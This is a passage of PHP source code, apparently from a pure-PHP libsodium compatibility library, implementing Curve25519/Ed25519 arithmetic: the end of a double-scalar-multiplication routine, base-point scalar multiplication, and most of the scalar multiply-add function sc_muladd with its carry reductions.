            if ($bslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */
                $thisB = $Bi[$index];
                $t = self::ge_madd($t, $u, $thisB);
                # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);

                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);

                /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $thisB */
                $thisB = $Bi[$index];
                $t = self::ge_msub($t, $u, $thisB);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_scalarmult_base($a)
    {
        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            /** @var int $dbl */
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15;
        }

        /** @var int $carry */
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }

        /** @var array<int, int> $e */
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        $a0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 0, 3)));
        $a1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5));
        $a2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2));
        $a3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7));
        $a4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4));
        $a5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1));
        $a6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6));
        $a7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3));
        $a8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($a, 21, 3)));
        $a9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5));
        $a10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2));
        $a11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($a, 28, 4)) >> 7));
        $b0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 0, 3)));
        $b1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5));
        $b2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2));
        $b3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7));
        $b4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4));
        $b5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1));
        $b6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6));
        $b7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3));
        $b8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 21, 3)));
        $b9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5));
        $b10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2));
        $b11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($b, 28, 4)) >> 7));
        $c0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 0, 3)));
        $c1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5));
        $c2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2));
        $c3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7));
        $c4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4));
        $c5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1));
        $c6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6));
        $c7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3));
        $c8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 21, 3)));
        $c9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5));
        $c10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2));
        $c11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($c, 28, 4)) >> 7));

        /* Can't really avoid the pyramid here: */
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $s0
         * @var ParagonIE_Sodium_Core32_Int64 $s1
         * @var ParagonIE_Sodium_Core32_Int64 $s2
         * @var ParagonIE_Sodium_Core32_Int64 $s3
         * @var ParagonIE_Sodium_Core32_Int64 $s4
         * @var ParagonIE_Sodium_Core32_Int64 $s5
         * @var ParagonIE_Sodium_Core32_Int64 $s6
         * @var ParagonIE_Sodium_Core32_Int64 $s7
         * @var ParagonIE_Sodium_Core32_Int64 $s8
         * @var ParagonIE_Sodium_Core32_Int64 $s9
         * @var ParagonIE_Sodium_Core32_Int64 $s10
         * @var ParagonIE_Sodium_Core32_Int64 $s11
         * @var ParagonIE_Sodium_Core32_Int64 $s12
         * @var ParagonIE_Sodium_Core32_Int64 $s13
         * @var ParagonIE_Sodium_Core32_Int64 $s14
         * @var ParagonIE_Sodium_Core32_Int64 $s15
         * @var ParagonIE_Sodium_Core32_Int64 $s16
         * @var ParagonIE_Sodium_Core32_Int64 $s17
         * @var ParagonIE_Sodium_Core32_Int64 $s18
         * @var ParagonIE_Sodium_Core32_Int64 $s19
         * @var ParagonIE_Sodium_Core32_Int64 $s20
         * @var ParagonIE_Sodium_Core32_Int64 $s21
         * @var ParagonIE_Sodium_Core32_Int64 $s22
         * @var ParagonIE_Sodium_Core32_Int64 $s23
         */

        $s0 = $c0->addInt64($a0->mulInt64($b0, 24));
        $s1 = $c1->addInt64($a0->mulInt64($b1, 24))->addInt64($a1->mulInt64($b0, 24));
        $s2 = $c2->addInt64($a0->mulInt64($b2, 24))->addInt64($a1->mulInt64($b1, 24))->addInt64($a2->mulInt64($b0, 24));
        $s3 = $c3->addInt64($a0->mulInt64($b3, 24))->addInt64($a1->mulInt64($b2, 24))->addInt64($a2->mulInt64($b1, 24))
                 ->addInt64($a3->mulInt64($b0, 24));
        $s4 = $c4->addInt64($a0->mulInt64($b4, 24))->addInt64($a1->mulInt64($b3, 24))->addInt64($a2->mulInt64($b2, 24))
                 ->addInt64($a3->mulInt64($b1, 24))->addInt64($a4->mulInt64($b0, 24));
        $s5 = $c5->addInt64($a0->mulInt64($b5, 24))->addInt64($a1->mulInt64($b4, 24))->addInt64($a2->mulInt64($b3, 24))
                 ->addInt64($a3->mulInt64($b2, 24))->addInt64($a4->mulInt64($b1, 24))->addInt64($a5->mulInt64($b0, 24));
        $s6 = $c6->addInt64($a0->mulInt64($b6, 24))->addInt64($a1->mulInt64($b5, 24))->addInt64($a2->mulInt64($b4, 24))
                 ->addInt64($a3->mulInt64($b3, 24))->addInt64($a4->mulInt64($b2, 24))->addInt64($a5->mulInt64($b1, 24))
                 ->addInt64($a6->mulInt64($b0, 24));
        $s7 = $c7->addInt64($a0->mulInt64($b7, 24))->addInt64($a1->mulInt64($b6, 24))->addInt64($a2->mulInt64($b5, 24))
                 ->addInt64($a3->mulInt64($b4, 24))->addInt64($a4->mulInt64($b3, 24))->addInt64($a5->mulInt64($b2, 24))
                 ->addInt64($a6->mulInt64($b1, 24))->addInt64($a7->mulInt64($b0, 24));
        $s8 = $c8->addInt64($a0->mulInt64($b8, 24))->addInt64($a1->mulInt64($b7, 24))->addInt64($a2->mulInt64($b6, 24))
                 ->addInt64($a3->mulInt64($b5, 24))->addInt64($a4->mulInt64($b4, 24))->addInt64($a5->mulInt64($b3, 24))
                 ->addInt64($a6->mulInt64($b2, 24))->addInt64($a7->mulInt64($b1, 24))->addInt64($a8->mulInt64($b0, 24));
        $s9 = $c9->addInt64($a0->mulInt64($b9, 24))->addInt64($a1->mulInt64($b8, 24))->addInt64($a2->mulInt64($b7, 24))
                 ->addInt64($a3->mulInt64($b6, 24))->addInt64($a4->mulInt64($b5, 24))->addInt64($a5->mulInt64($b4, 24))
                 ->addInt64($a6->mulInt64($b3, 24))->addInt64($a7->mulInt64($b2, 24))->addInt64($a8->mulInt64($b1, 24))
                 ->addInt64($a9->mulInt64($b0, 24));
        $s10 = $c10->addInt64($a0->mulInt64($b10, 24))->addInt64($a1->mulInt64($b9, 24))->addInt64($a2->mulInt64($b8, 24))
                   ->addInt64($a3->mulInt64($b7, 24))->addInt64($a4->mulInt64($b6, 24))->addInt64($a5->mulInt64($b5, 24))
                   ->addInt64($a6->mulInt64($b4, 24))->addInt64($a7->mulInt64($b3, 24))->addInt64($a8->mulInt64($b2, 24))
                   ->addInt64($a9->mulInt64($b1, 24))->addInt64($a10->mulInt64($b0, 24));
        $s11 = $c11->addInt64($a0->mulInt64($b11, 24))->addInt64($a1->mulInt64($b10, 24))->addInt64($a2->mulInt64($b9, 24))
                   ->addInt64($a3->mulInt64($b8, 24))->addInt64($a4->mulInt64($b7, 24))->addInt64($a5->mulInt64($b6, 24))
                   ->addInt64($a6->mulInt64($b5, 24))->addInt64($a7->mulInt64($b4, 24))->addInt64($a8->mulInt64($b3, 24))
                   ->addInt64($a9->mulInt64($b2, 24))->addInt64($a10->mulInt64($b1, 24))->addInt64($a11->mulInt64($b0, 24));
        $s12 = $a1->mulInt64($b11, 24)->addInt64($a2->mulInt64($b10, 24))->addInt64($a3->mulInt64($b9, 24))
                  ->addInt64($a4->mulInt64($b8, 24))->addInt64($a5->mulInt64($b7, 24))->addInt64($a6->mulInt64($b6, 24))
                  ->addInt64($a7->mulInt64($b5, 24))->addInt64($a8->mulInt64($b4, 24))->addInt64($a9->mulInt64($b3, 24))
                  ->addInt64($a10->mulInt64($b2, 24))->addInt64($a11->mulInt64($b1, 24));
        $s13 = $a2->mulInt64($b11, 24)->addInt64($a3->mulInt64($b10, 24))->addInt64($a4->mulInt64($b9, 24))
                  ->addInt64($a5->mulInt64($b8, 24))->addInt64($a6->mulInt64($b7, 24))->addInt64($a7->mulInt64($b6, 24))
                  ->addInt64($a8->mulInt64($b5, 24))->addInt64($a9->mulInt64($b4, 24))->addInt64($a10->mulInt64($b3, 24))
                  ->addInt64($a11->mulInt64($b2, 24));
        $s14 = $a3->mulInt64($b11, 24)->addInt64($a4->mulInt64($b10, 24))->addInt64($a5->mulInt64($b9, 24))
                  ->addInt64($a6->mulInt64($b8, 24))->addInt64($a7->mulInt64($b7, 24))->addInt64($a8->mulInt64($b6, 24))
                  ->addInt64($a9->mulInt64($b5, 24))->addInt64($a10->mulInt64($b4, 24))->addInt64($a11->mulInt64($b3, 24));
        $s15 = $a4->mulInt64($b11, 24)->addInt64($a5->mulInt64($b10, 24))->addInt64($a6->mulInt64($b9, 24))
                  ->addInt64($a7->mulInt64($b8, 24))->addInt64($a8->mulInt64($b7, 24))->addInt64($a9->mulInt64($b6, 24))
                  ->addInt64($a10->mulInt64($b5, 24))->addInt64($a11->mulInt64($b4, 24));
        $s16 = $a5->mulInt64($b11, 24)->addInt64($a6->mulInt64($b10, 24))->addInt64($a7->mulInt64($b9, 24))
                  ->addInt64($a8->mulInt64($b8, 24))->addInt64($a9->mulInt64($b7, 24))->addInt64($a10->mulInt64($b6, 24))
                  ->addInt64($a11->mulInt64($b5, 24));
        $s17 = $a6->mulInt64($b11, 24)->addInt64($a7->mulInt64($b10, 24))->addInt64($a8->mulInt64($b9, 24))
                  ->addInt64($a9->mulInt64($b8, 24))->addInt64($a10->mulInt64($b7, 24))->addInt64($a11->mulInt64($b6, 24));
        $s18 = $a7->mulInt64($b11, 24)->addInt64($a8->mulInt64($b10, 24))->addInt64($a9->mulInt64($b9, 24))
                  ->addInt64($a10->mulInt64($b8, 24))->addInt64($a11->mulInt64($b7, 24));
        $s19 = $a8->mulInt64($b11, 24)->addInt64($a9->mulInt64($b10, 24))->addInt64($a10->mulInt64($b9, 24))
                  ->addInt64($a11->mulInt64($b8, 24));
        $s20 = $a9->mulInt64($b11, 24)->addInt64($a10->mulInt64($b10, 24))->addInt64($a11->mulInt64($b9, 24));
        $s21 = $a10->mulInt64($b11, 24)->addInt64($a11->mulInt64($b10, 24));
        $s22 = $a11->mulInt64($b11, 24);
        $s23 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));
        $carry18 = $s18->addInt(1 << 20)->shiftRight(21);
        $s19 = $s19->addInt64($carry18);
        $s18 = $s18->subInt64($carry18->shiftLeft(21));
        $carry20 = $s20->addInt(1 << 20)->shiftRight(21);
        $s21 = $s21->addInt64($carry20);
        $s20 = $s20->subInt64($carry20->shiftLeft(21));
        $carry22 = $s22->addInt(1 << 20)->shiftRight(21);
        $s23 = $s23->addInt64($carry22);
        $s22 = $s22->subInt64($carry22->shiftLeft(21));

        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));
        $carry17 = $s17->addInt(1 << 20)->shiftRight(21);
        $s18 = $s18->addInt64($carry17);
        $s17 = $s17->subInt64($carry17->shiftLeft(21));
        $carry19 = $s19->addInt(1 << 20)->shiftRight(21);
        $s20 = $s20->addInt64($carry19);
        $s19 = $s19->subInt64($carry19->shiftLeft(21));
        $carry21 = $s21->addInt(1 << 20)->shiftRight(21);
        $s22 = $s22->addInt64($carry21);
        $s21 = $s21->subInt64($carry21->shiftLeft(21));

        $s11 = $s11->addInt64($s23->mulInt(666643, 20));
        $s12 = $s12->addInt64($s23->mulInt(470296, 19));
        $s13 = $s13->addInt64($s23->mulInt(654183, 20));
        $s14 = $s14->subInt64($s23->mulInt(997805, 20));
        $s15 = $s15->addInt64($s23->mulInt(136657, 18));
        $s16 = $s16->subInt64($s23->mulInt(683901, 20));

        $s10 = $s10->addInt64($s22->mulInt(666643, 20));
        $s11 = $s11->addInt64($s22->mulInt(470296, 19));
        $s12 = $s12->addInt64($s22->mulInt(654183, 20));
        $s13 = $s13->subInt64($s22->mulInt(997805, 20));
        $s14 = $s14->addInt64($s22->mulInt(136657, 18));
        $s15 = $s15->subInt64($s22->mulInt(683901, 20));

        $s9  =  $s9->addInt64($s21->mulInt(666643, 20));
        $s10 = $s10->addInt64($s21->mulInt(470296, 19));
        $s11 = $s11->addInt64($s21->mulInt(654183, 20));
        $s12 = $s12->subInt64($s21->mulInt(997805, 20));
        $s13 = $s13->addInt64($s21->mulInt(136657, 18));
        $s14 = $s14->subInt64($s21->mulInt(683901, 20));

        $s8  =  $s8->addInt64($s20->mulInt(666643, 20));
        $s9  =  $s9->addInt64($s20->mulInt(470296, 19));
        $s10 = $s10->addInt64($s20->mulInt(654183, 20));
        $s11 = $s11->subInt64($s20->mulInt(997805, 20));
        $s12 = $s12->addInt64($s20->mulInt(136657, 18));
        $s13 = $s13->subInt64($s20->mulInt(683901, 20));

        $s7  =  $s7->addInt64($s19->mulInt(666643, 20));
        $s8  =  $s8->addInt64($s19->mulInt(470296, 19));
        $s9  =  $s9->addInt64($s19->mulInt(654183, 20));
        $s10 = $s10->subInt64($s19->mulInt(997805, 20));
        $s11 = $s11->addInt64($s19->mulInt(136657, 18));
        $s12 = $s12->subInt64($s19->mulInt(683901, 20));

        $s6  =  $s6->addInt64($s18->mulInt(666643, 20));
        $s7  =  $s7->addInt64($s18->mulInt(470296, 19));
        $s8  =  $s8->addInt64($s18->mulInt(654183, 20));
        $s9  =  $s9->subInt64($s18->mulInt(997805, 20));
        $s10 = $s10->addInt64($s18->mulInt(136657, 18));
        $s11 = $s11->subInt64($s18->mulInt(683901, 20));

        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry12 = $s12->addInt(1 << 20)->shiftRight(21);
        $s13 = $s13->addInt64($carry12);
        $s12 = $s12->subInt64($carry12->shiftLeft(21));
        $carry14 = $s14->addInt(1 << 20)->shiftRight(21);
        $s15 = $s15->addInt64($carry14);
        $s14 = $s14->subInt64($carry14->shiftLeft(21));
        $carry16 = $s16->addInt(1 << 20)->shiftRight(21);
        $s17 = $s17->addInt64($carry16);
        $s16 = $s16->subInt64($carry16->shiftLeft(21));

        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));
        $carry13 = $s13->addInt(1 << 20)->shiftRight(21);
        $s14 = $s14->addInt64($carry13);
        $s13 = $s13->subInt64($carry13->shiftLeft(21));
        $carry15 = $s15->addInt(1 << 20)->shiftRight(21);
        $s16 = $s16->addInt64($carry15);
        $s15 = $s15->subInt64($carry15->shiftLeft(21));

        $s5  =  $s5->addInt64($s17->mulInt(666643, 20));
        $s6  =  $s6->addInt64($s17->mulInt(470296, 19));
        $s7  =  $s7->addInt64($s17->mulInt(654183, 20));
        $s8  =  $s8->subInt64($s17->mulInt(997805, 20));
        $s9  =  $s9->addInt64($s17->mulInt(136657, 18));
        $s10 = $s10->subInt64($s17->mulInt(683901, 20));

        $s4  =  $s4->addInt64($s16->mulInt(666643, 20));
        $s5  =  $s5->addInt64($s16->mulInt(470296, 19));
        $s6  =  $s6->addInt64($s16->mulInt(654183, 20));
        $s7  =  $s7->subInt64($s16->mulInt(997805, 20));
        $s8  =  $s8->addInt64($s16->mulInt(136657, 18));
        $s9  =  $s9->subInt64($s16->mulInt(683901, 20));

        $s3  =  $s3->addInt64($s15->mulInt(666643, 20));
        $s4  =  $s4->addInt64($s15->mulInt(470296, 19));
        $s5  =  $s5->addInt64($s15->mulInt(654183, 20));
        $s6  =  $s6->subInt64($s15->mulInt(997805, 20));
        $s7  =  $s7->addInt64($s15->mulInt(136657, 18));
        $s8  =  $s8->subInt64($s15->mulInt(683901, 20));

        $s2  =  $s2->addInt64($s14->mulInt(666643, 20));
        $s3  =  $s3->addInt64($s14->mulInt(470296, 19));
        $s4  =  $s4->addInt64($s14->mulInt(654183, 20));
        $s5  =  $s5->subInt64($s14->mulInt(997805, 20));
        $s6  =  $s6->addInt64($s14->mulInt(136657, 18));
        $s7  =  $s7->subInt64($s14->mulInt(683901, 20));

        $s1  =  $s1->addInt64($s13->mulInt(666643, 20));
        $s2  =  $s2->addInt64($s13->mulInt(470296, 19));
        $s3  =  $s3->addInt64($s13->mulInt(654183, 20));
        $s4  =  $s4->subInt64($s13->mulInt(997805, 20));
        $s5  =  $s5->addInt64($s13->mulInt(136657, 18));
        $s6  =  $s6->subInt64($s13->mulInt(683901, 20));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->addInt(1 << 20)->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry2 = $s2->addInt(1 << 20)->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry4 = $s4->addInt(1 << 20)->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry6 = $s6->addInt(1 << 20)->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry8 = $s8->addInt(1 << 20)->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry10 = $s10->addInt(1 << 20)->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));

        $carry1 = $s1->addInt(1 << 20)->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry3 = $s3->addInt(1 << 20)->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry5 = $s5->addInt(1 << 20)->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry7 = $s7->addInt(1 << 20)->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry9 = $s9->addInt(1 << 20)->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry11 = $s11->addInt(1 << 20)->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));
        $s12 = new ParagonIE_Sodium_Core32_Int64();

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
        $s1 = $s1->subInt64($carry1->shiftLeft(21));
        $carry2 = $s2->shiftRight(21);
        $s3 = $s3->addInt64($carry2);
        $s2 = $s2->subInt64($carry2->shiftLeft(21));
        $carry3 = $s3->shiftRight(21);
        $s4 = $s4->addInt64($carry3);
        $s3 = $s3->subInt64($carry3->shiftLeft(21));
        $carry4 = $s4->shiftRight(21);
        $s5 = $s5->addInt64($carry4);
        $s4 = $s4->subInt64($carry4->shiftLeft(21));
        $carry5 = $s5->shiftRight(21);
        $s6 = $s6->addInt64($carry5);
        $s5 = $s5->subInt64($carry5->shiftLeft(21));
        $carry6 = $s6->shiftRight(21);
        $s7 = $s7->addInt64($carry6);
        $s6 = $s6->subInt64($carry6->shiftLeft(21));
        $carry7 = $s7->shiftRight(21);
        $s8 = $s8->addInt64($carry7);
        $s7 = $s7->subInt64($carry7->shiftLeft(21));
        $carry8 = $s8->shiftRight(21);
        $s9 = $s9->addInt64($carry8);
        $s8 = $s8->subInt64($carry8->shiftLeft(21));
        $carry9 = $s9->shiftRight(21);
        $s10 = $s10->addInt64($carry9);
        $s9 = $s9->subInt64($carry9->shiftLeft(21));
        $carry10 = $s10->shiftRight(21);
        $s11 = $s11->addInt64($carry10);
        $s10 = $s10->subInt64($carry10->shiftLeft(21));
        $carry11 = $s11->shiftRight(21);
        $s12 = $s12->addInt64($carry11);
        $s11 = $s11->subInt64($carry11->shiftLeft(21));

        $s0  =  $s0->addInt64($s12->mulInt(666643, 20));
        $s1  =  $s1->addInt64($s12->mulInt(470296, 19));
        $s2  =  $s2->addInt64($s12->mulInt(654183, 20));
        $s3  =  $s3->subInt64($s12->mulInt(997805, 20));
        $s4  =  $s4->addInt64($s12->mulInt(136657, 18));
        $s5  =  $s5->subInt64($s12->mulInt(683901, 20));

        $carry0 = $s0->shiftRight(21);
        $s1 = $s1->addInt64($carry0);
        $s0 = $s0->subInt64($carry0->shiftLeft(21));
        $carry1 = $s1->shiftRight(21);
        $s2 = $s2->addInt64($carry1);
